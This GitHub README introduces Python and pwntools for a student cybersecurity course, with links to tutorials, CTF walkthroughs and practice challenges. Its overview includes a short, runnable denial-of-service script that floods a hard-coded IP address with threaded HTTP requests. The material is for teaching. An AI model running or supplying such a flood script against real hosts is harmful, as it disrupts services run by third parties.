Skip to content

Latest commit

 

History

History
77 lines (58 loc) · 5.4 KB

README.md

File metadata and controls

77 lines (58 loc) · 5.4 KB

Section-2 (Python) 🐍

Welcome to the second section of LS: Tools for Cyber Security :)
This week we will be covering Python along with one of its very powerful library pwntools.

drawing

Why it is called Python :)?

Python is an interpreted general-purpose programming language. It is one of the most popular and widely-used programming languages in the world due to its high usability and large collection of libraries. Again Python is an open source software like Linux. So you can look up its source code here, though you are not encouraged to read them 🦖.

Is Python itself written in C or C++? An interesting read on this. Unlike C or C++, Python has automatic memory management i.e. in Python memory allocation and deallocation method is automatic, since it has its own garbage collector, so that the user does not have to do manual garbage collection. Python is a dynamically typed programming language which makes it more succint.

We prefer Python in cyber security, because complex scripts or attacks can be easily written in it. It helps to automate tasks across the cyberattack life cycle for both cyber attackers and defenders. Also, debugging python codes is quite simple.

import socket
import threading
target = '103.21.127.134'
fake_ip = '182.21.20.32'
port = 80
def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        s.close()
for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

Snippet of a simple DoS attack script in python.

Installation

We are not taking up how to install python. Since it is available by default on Linux. Also, just a google search away :).
Here is the link to install pwntools. Though it comes pre installed on the VM we have provided.

Overview

This week's content includes an introduction to Python(syntax and such stuff). These resources will make you comfortable with python.
Followed by an introduction to pwntools, an interesting framework. Pwntools in itself is a huge package and even a dedicated module would be less to know everything about it. It will get you familiar with writing exploit scripts in Python.
Some other important modules/libraries regularly used are sys, os, subprocess, all these are in-built python modules.

Our Introductory Session for Python

CSeC - Intro to Python | Colab Notebook link

Credits to scimaths 🙏

Text guides

  1. Pico Primer(python + other basics)
  2. Intro to Python (You may skip classes)
  3. Pwntools Cheat Sheet

Video guides

  • Another brief learn python playlist (The first 8 videos (85 mins) of the playlist are enough to get you going, you may skip the remaining videos :)

CTF challenge Walkthroughs

  1. string evaluation of input in python2 HSCTF - Python Remote Code Execution (5 min) | Read more about Python2.x input vulnerability
  2. pwntools process interaction GOOGLE CTF 2021 (good read)
  3. pwntools in bash TAMU CTF 2020 (17 mins)
  4. Request module usage OverTheWire natas level4 (11 mins)
  5. Pyjail Offshift 2021 (6 mins)

Practice

  • PicoGym (Filter challenges by General Skills)

Discussions among mentees are encouraged and we request you to use the corresponding Team on MS Teams or the corresponding WhatsApp group for the same.

Created with ❤️ by CSeC